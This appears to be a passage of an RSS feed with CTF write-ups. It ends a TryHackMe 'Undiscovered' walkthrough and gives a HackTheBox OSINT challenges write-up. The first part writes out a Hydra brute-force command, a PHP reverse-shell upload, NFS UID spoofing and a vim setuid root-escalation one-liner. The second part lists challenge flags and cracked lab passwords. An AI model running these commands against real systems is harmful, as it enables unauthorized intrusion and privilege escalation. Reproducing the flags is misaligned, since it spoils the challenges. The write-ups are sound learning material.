file, in my case, it is in the “<strong>undiscovered”</strong> file.</p><pre><strong>wfuzz -w undiscovered — hc 404 -c -u </strong><a href="http://manager.undicovered.thm/cms/"><strong>http://manager.undicovered.thm/cms/</strong></a><strong> -H ‘Host: FUZZ.undiscovered.thm’</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*rGI092TRyo9F5NfundJXGw.png" /></figure><blockquote><strong><em>Okay so we got one subdomain “deliver” having /cms. Let’s add “deliver.undiscovered.thm” in /etc/hosts.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*ct3wkshoI7F-IgbxTMlk1g.png" /></figure><blockquote><em>Let’s visit</em><strong><em> “deliver.undiscovered.thm/cms”</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*tSQneZE7w8jeMMBFkByuPg.png" /></figure><p>Okay so there is a login portal and in the exploit, it was told that default creds for RiteCMS are admin:admin. <br>Let’s try logging in using default creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*a0835YghkqqkAZmYOSxfZA.png" /></figure><p>Okay, so that was not the required credential in our case. Let&#39;s analyze the request in Burpsuite.</p><h3>Request</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*ZwgG9eR-XXhvUrLvxSlniw.png" /></figure><h3>Response</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sm_8PEpAJvVhCqn2p8sNkw.png" /></figure><blockquote><em>Okay so it makes a</em><strong><em> post request to /cms/index.php</em></strong><em> and field name for creds are</em><strong><em> username and userpw</em></strong><em>.</em></blockquote><h3>Hydra</h3><p>Using Hydra to bruteforce the admin password.</p><pre><strong>hydra -l admin -P /usr/share/wordlists/rockyou.txt deliver.undiscovered.thm http-post-form “/cms/index.php:username=admin&amp;userpw=^PASS^:login_failed”</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDan3LSvzn2VpBextpbA9w.png" /></figure><blockquote><em>Cool, now we have our creds,”</em><strong><em>admin:liverpool”</em></strong><em>. Time to log in.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fH4mgv232xGEGpuQOT-oPA.png" /></figure><p>So now we are logged in, next we need to upload our reverse shell and listen back on our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jFZqyOOTXZwEI6x5F49mNg.png" /></figure><p>You can use any php reverse shell. Here I am using the one given in /usr/share/webshells/php. You just need to modify the IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*bU-gAg9LfaNIgytAGgL56w.png" /></figure><h3>Uploading the file</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*pGEzEyaGWN3J4pkLc3YJrQ.png" /></figure><p>Open Netcat listener on your machine and navigate to <a href="http://deliver.undiscovered.thm/media/shell.php">http://deliver.undiscovered.thm/media/shell.php</a> and check for the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*0v7EqDUWscuA2Xb_ARDbPA.png" /></figure><p>Okay, so we got our shell as www-data, lets&#39;s upgrade it to a proper shell.</p><pre><strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></pre><blockquote><em>Let’s see directories available in </em><strong><em>/home.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*dLALMpFXaJ2pI6-HjfdwRQ.png" /></figure><p>Okay, there are two folders — <strong>Leonard and William,</strong> and we can’t access them as permission is denied.</p><h3>NFS shares</h3><p><strong>Let’s see NFS shares at /etc/exports</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvIDyDQLfAzcaejOOe3vsg.png" /></figure><blockquote><strong><em>So /home/william is shared and we can mount it on our local machine.</em></strong></blockquote><h3>Mounting /home/william</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYMj8uFfA_bXeRvyTJ9KCw.png" /></figure><p>Okay, it&#39;s done but we can’t cd into mnt as permission is denied. So let’s create a user on our local machine with UID equal to William.</p><blockquote><strong><em>lets see william’s UID first,</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*VtpZZmqok1biyZsjkIDCCA.png" /></figure><p>So William&#39;s uid is 3003. Now we need to create a user William with the same uid.</p><h3>Creating User</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*0jYfkh_jwiNzyZYjBKbv0g.png" /></figure><blockquote><strong><em>So we have added William , now lets switch user to william and access the mnt.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*k6QzkeUDiFkkQ4CfPrxslw.png" /></figure><h3>User.txt</h3><p>Great! We are in and now we can read our user.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*umdKFzCE_8oLonNtmgY_wQ.png" /></figure><blockquote><em>Lets </em><strong><em>change permission of mnt</em></strong><em> so that we can access</em><strong><em> /home/william</em></strong><em> from target machine as </em><strong><em>www-data</em></strong><em>.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*2xwED0Vfw70pRDcf-BHo-Q.png" /></figure><p>Now we can access/home/william from the target machine.</p><p>There are two files in /William — <strong>admin.sh and script.</strong></p><blockquote><strong><em>Reading admin.sh</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*DePmBoyTgtoTY-73J9xwEQ.png" /></figure><h3>Running Script</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*6hSVKH2seMJ2I8HVxZk14g.png" /></figure><p>So if we run<strong> the script without any argument</strong> it just<strong> prints the content of admin.sh</strong>, but if we <strong>provide an argument</strong> it tries to<strong> cat the content of /home/leonard</strong>.</p><blockquote><strong><em>So lets try reading the ssh keys for leonard.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*Re67M1tAJYclabiaiv87IQ.png" /></figure><h3>Shell as Leonard</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*BbNHDc840b3LLLdMDvrL4Q.png" /></figure><p>Cool, we got the shell.</p><p>Now let&#39;s list the contents of<strong> /home/leonard</strong>. There is a<strong> viminfo</strong> file that looks pretty interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*gMhQNmPFV-vOPAXvcuwY4A.png" /></figure><h3>.viminfo</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bTmIZuiwgrVCo2b_BzZtLQ.png" /></figure><blockquote><strong><em>Intersting, Leonard was trying to get a reverse shell using vim. Let’s check linux capabilities.</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*6E3CqO8Qb4IWMrZlaJckTg.png" /></figure><p><strong>Great! vim.basic has setuid capabilities which mean vim.basic can run as root. Time for </strong><a href="https://gtfobins.github.io/"><strong>gtfobins</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zUpKjFHpCxCjFY2bCncbhQ.png" /></figure><h3>Root Shell</h3><p>Running the command given in gtfobins.</p><pre><strong>/usr/bin/vim.basic -c </strong><strong>&#39;:py import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GxmoijlCoLbB1mxTSfowww.png" /></figure><p>Oops, We got an error, let&#39;s try with python3</p><pre><strong>/usr/bin/vim.basic -c </strong><strong>&#39;:py3 import os; os.setuid(0); os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, &quot;reset; exec sh&quot;)&#39;</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*t4TC2nM89x-5EN5SbB17uw.png" /></figure><p>Yay!!! We are root. Now let’s read the root user’s password hash and wrap up the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UiXrRkEl2pgjHlc4o48xdw.png" /></figure><p>That&#39;s all for this blog, we are done with <strong>“Undiscovered”</strong></p><p><strong>Thanks for Reading. Keep Learning.</strong></p><blockquote><strong><em>My socials<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc04ef0b8bba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Medium]OSINT Challenges Writeup: Hack The Box]]></title>
            <link>https://vinayakagrawal95.medium.com/medium-osint-challenges-writeup-hack-the-box-a170fa2b4fa?source=rss-ac1f54842907------2</link>
            <guid isPermaLink="false">https://medium.com/p/a170fa2b4fa</guid>
            <category><![CDATA[hackthebox-osint]]></category>
            <category><![CDATA[breach-htb]]></category>
            <category><![CDATA[infiltration-htb]]></category>
            <category><![CDATA[we-have-a-leak-htb]]></category>
            <category><![CDATA[missing-in-action-htb]]></category>
            <dc:creator><![CDATA[Vinayak Agrawal]]></dc:creator>
            <pubDate>Mon, 11 Oct 2021 14:28:07 GMT</pubDate>
            <atom:updated>2021-10-11T14:28:07.142Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Hello everyone… If you guys also find OSINT fun and challenging, then have a look at OSINT challenges by HackTheBox.</strong></p><p><strong>As of today, there are 8 free active OSINT Challenges available on HTB, categorized into Easy and Medium.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*p_n8mPMOI-UA8dk7.jpg" /></figure><blockquote><strong><em>Link:- </em></strong><a href="https://www.hackthebox.eu/home/challenges/OSINT"><strong><em>https://www.hackthebox.eu/home/challenges/OSINT</em></strong></a><strong><em><br>My Profile:- </em></strong><a href="https://www.hackthebox.eu/home/users/profile/396919"><strong><em>https://www.hackthebox.eu/home/users/profile/396919</em></strong></a></blockquote><p><strong>So, Let’s Begin</strong> …</p><h3>Infiltration</h3><p><strong>“<em>Can you find something to help you break into the company ‘Evil Corp LLC’. Recon social media sites to see if you can find any useful information</em>.”</strong></p><p>We have a company called “<strong>Evil Corp LLC</strong>”, we need to investigate it on social media sites to get the flag. Alright, let&#39;s google the company.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*KsTTdEX3o4puCY5hjARGtw.png" /></figure><p>Our first result is <strong>LinkedIn</strong>, let’s see there if we can get something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUcxNEfEz_pDRMA2GfpbVQ.png" /></figure><p>It decoded into this string “<strong>You can do this, keep going!!!</strong>”<br><strong>Cooool, we found the rabbit hole</strong>.😃</p><p>Let’s see other results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/0*H8PfIRDudXtddKkT.png" /></figure><p>Looks interesting, lets check tweets made by her.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*lmeUV_azoiBINCRJ.png" /></figure><p>Tried using<strong> HTB{and all the words one by one}</strong> but it was just a rabbit hole.</p><p><strong>Let’s check the third result i.e., an Instagram account.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*LhYipCRMLOYLcLTLOZS4Tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9lLjtbh1qaMIQMCTNsWRxQ.png" /></figure><p>Cool, we have <strong>another LinkedIn account</strong>. Let’s check. <br>Bleh, there is nothing on her LinkedIn account. Let’s have a look at her <strong>Instagram posts</strong>.</p><p>She has posted a <strong>photo</strong> in which there is an <strong>Employee card by Evil Corp LLC</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*ticV7nV-cJbJ-98dAahXiw.png" /></figure><p><strong>Focus on the text below the barcode… we got our flag…</strong></p><p><strong>HTB{Y0ur_Enum3rat10n_1s_Str0ng_Y0ung_0ne}</strong></p><h3>Missing In Action</h3><p>“<strong><em>Roland Sanchez from Birmingham, UK is missing. The family is convinced he was kidnapped on a business trip. Can you help?</em></strong>”</p><p>We have a name and country. <strong>Ronald Sanchez</strong> from <strong>Birmingham, UK</strong>. Alright, time to google him.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*KPD5wmbOYEfdZg51XLCoJw.png" /></figure><p>The first result is LinkedIn, let’s see if there is some juicy info.</p><p>Amm… nothing much. We have his<strong> profile picture</strong> and we know where he works, i.e.,<strong> Egotisical Bank.</strong></p><p>The Twitter account we found in google search is of another person…🙂</p><p>Let’s see the<strong> social accounts of Egotistical Bank.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*4fLOEZpwktm2kFn9pt8aLQ.png" /></figure><p><strong>Bank has a Twitter account with 11 tweets.</strong> We may find something in those tweets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*5T0RgPMjmXhgF-HaxbC2kA.png" /></figure><p><strong>Roland Sanchez is too a CISO</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*2URWQuwhrE0BpVycTprq0A.png" /></figure><p>Go back to our <strong>first google search results</strong> and see the last result in the screenshot mentioned <strong>FourSquare</strong>. We may find something there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*lfMHL7amLHZxwbgbmX0Gig.png" /></figure><p>Yay !!! <strong>we got the flag</strong> in the review section of the website. Hehe, <strong>Roland shifted to Sheffield</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*RbDrXHa8PKcqSlnZWpJqLw.png" /></figure><p><strong>HTB{J4Va_c0St_M3_m0r3_than_1_th0ugh7}</strong></p><h3>We Have A Leak</h3><p>“<strong><em>Super Secure Startup’s private information is being leaked; can you find out how?</em></strong>”</p><p>In this challenge we have one<strong> zip file</strong>, download it and extract the files.<br><strong>Password:- hackthebox</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*bDWwyJJJvVDDag6BLP8g5g.png" /></figure><p>Okay, we have another zip file now “<strong>mock_ssh_login.zi</strong>p”. Extracting it gives us<strong> another zip file, and it’s password protected</strong> .🤧</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*M9qXMcutO2q28TTBMqVErg.png" /></figure><p>Tried to crack it with<strong> fcrackzip</strong>, but it turned out nothing. <br>Let’s see if “<strong>super secure startup”</strong> has any socials.</p><p>Cool, there’s a <strong>Twitter account</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*nXX0oTH0LlT5GoavgEopyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*6bxX9j8FmyjbIlIa2fTnrw.png" /></figure><p>I found one interesting tweet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/0*rbHIK8a2kkMyW3kP.png" /></figure><p>Remember <strong>Alia Mccarty</strong>? We saw her in one of the<strong> previous challenge</strong> <strong>“Infiltration”</strong> both by the <strong>same creator greenwolf</strong>. <br>Also, we have now an email<strong> j.boyce@supersecretstartup.com</strong></p><p>Let’s see the profile of <strong>Johanna Boyce</strong>. Looks like she is a fan of Taylor Swift.<br><strong>She posts too much about her company</strong>. You can find several tweets related to her company.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*hesWWPCgkYrmF_k-FGQ2oA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*wC2RSuwqIA-Ajwn5-obFGA.png" /></figure><blockquote><strong><em>We need to unlock “username.zip” file.</em> </strong><br><strong><em>Till now we have these names- Johanna Boyce, Alia Mccarty and Bianka Phelps. Well these were not correct password for zip.</em></strong></blockquote><p><strong>Johanna use j.boyce in her email</strong>, so I tried this variant with other names like <strong>a.mccarty, b.phelps but again it was useless</strong>.</p><p>Then another tweet clicked in my mind.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*rOoLEwVv1AbkJCDiWTvjVQ.png" /></figure><p>Another name <strong>JTerranwald</strong>. <strong>Let’s try j.terranwald as a password</strong>. <br>Yayy!!!,<strong> It worked</strong>. Shitt! <strong>one more zip and again password protected</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*mHfYRRRGmaKRSGEFG3HTog.png" /></figure><p><strong>So, let’s have a look at Josh Terranwald.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*96k47GbEMLbSnkGN5jRt-Q.png" /></figure><p>Nothing interesting in his account. <br>Now we have <strong>one more account</strong> left.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*rDZxXjFAu5D6gLdnHRKJtg.png" /></figure><p>This looks interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ML3qM1shD5Kkl0Vb0Oc6EA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*EOfOitTn47ULrFD18sL7LQ.png" /></figure><p><strong>SSH default password ? SupSecStart#Winter2018!<br>Well, it didn’t work on the password.zip file.</strong></p><p>Great! We are stuck…🙂.</p><p><strong>Going back to tweet about the hiring of Josh Terranwald.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*rOoLEwVv1AbkJCDiWTvjVQ.png" /></figure><p><strong>Josh got hired on March 26, 2019, i.e., Spring of 2019. </strong><br>Let&#39;s <strong>replace SupSecStart#Winter2018!</strong> with <strong>SupSecStart#Spring2019!</strong></p><p>Yay!!! It worked, <strong>SupSecStart#Spring2019! is the password</strong> for the password.zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*-bWcX-DGzC3-vYx7TC4DCw.png" /></figure><p><strong>HTB{Sav3_The_Startup_Sav3_The_W0rld_#Hiro}</strong></p><h3>BREACH</h3><p>“<strong><em>You managed to pull some interesting files off one of Super Secure Startup’s anonymous FTP servers. Via some OSINT work(a torrent or online Password breach site) you have also procured a recent data breach dump. Can you unlock the file and retrieve the key?</em></strong>”</p><p>Okay,<strong> Download the zip file</strong>.<strong> Password: hackthebox</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/415/1*DvmRXRnYgxigx5DZd2awtw.png" /></figure><p>After extracting we get two files. <strong>Public-data-breach.txt</strong> consists of many <strong>usernames, emails and passwords</strong>. But we don’t know which username to search for.</p><p><strong>Again google the company name “Super secure Startup”</strong>. You must remember this company from the previous challenge.</p><p><strong>We came across these usernames- Johanna Boyce, Alia Mccarty, and Bianka Phelps, Josh Terranwald</strong>. Let’s <strong>find these usernames in the public-data-breach.txt file</strong>. <strong>Only Bianka’s data was present in the file</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*AsmnIubHAQitV_g01ciZyg.png" /></figure><p>We have a<strong> password “Love!July2018&quot;</strong> but it turned out<strong> incorrect</strong>. <br><strong>Remember in “We have a leak” we changed the season name to get the correct password. Let’s try the same thing here.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*GND6tKzcCUYQPzgioVUdTw.png" /></figure><p>The<strong> file was modified</strong> <strong>in March</strong>. <strong>Let’s try Love!March2019</strong> as password.</p><p><strong>Yay!!! It’s the correct password.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*aYXsIH5uAeAZXvVcBFj3-w.png" /></figure><p><strong>It’s base64. Decode it.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SWeU_70qRNcw_AFSxySlkQ.png" /></figure><p><strong>HTB{P4ssw0rd_Br3ach3s_C4n_B3_A_Tr3asur3_Trov3_0f_Inf0rmati0n}</strong></p><blockquote>— — — — — — — — — — — — — — — — — — — — — —</blockquote><p><strong>Thanks for Reading. Keep Learning.</strong></p><blockquote><strong><em>My socials<br>LinkedIn:- </em></strong><a href="https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/"><strong><em>https://www.linkedin.com/in/vinayak-agrawal-2aa5a61ab/</em></strong></a><strong><em><br>Twitter:- </em></strong><a href="https://twitter.com/Dr_Anonymous95"><strong><em>https://twitter.com/Dr_Anonymous95</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a170fa2b4fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>